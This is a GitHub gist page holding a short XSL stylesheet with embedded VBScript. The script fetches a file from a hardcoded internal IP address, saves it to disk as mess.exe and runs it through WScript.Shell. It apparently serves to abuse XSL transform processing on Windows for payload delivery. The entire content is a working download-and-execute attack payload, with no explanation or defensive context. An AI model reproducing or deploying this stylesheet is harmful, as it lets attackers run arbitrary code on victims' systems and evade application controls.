Last active
May 18, 2018 16:08
-
-
Save padovah4ck/2701e8e64166e277a4b3a27c245f5598 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version='1.0'?> | |
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> | |
<output method="text"/> | |
<ms:script implements-prefix="user" language="VB"> | |
<![CDATA[ | |
strFileURL = "http://10.200.3.164/server.py" | |
strHDLocation = "mess.exe" | |
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") | |
objXMLHTTP.open "GET", strFileURL, false | |
objXMLHTTP.send() | |
If objXMLHTTP.Status = 200 Then | |
Set objADOStream = CreateObject("ADODB.Stream") | |
objADOStream.Open | |
objADOStream.Type = 1 | |
objADOStream.Write objXMLHTTP.ResponseBody | |
objADOStream.Position = 0 | |
objADOStream.SaveToFile strHDLocation | |
objADOStream.Close | |
Set objADOStream = Nothing | |
End if | |
Set objXMLHTTP = Nothing | |
Set objShell = CreateObject("WScript.Shell") | |
objShell.Exec("mess.exe") | |
]]> </ms:script> | |
</stylesheet> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment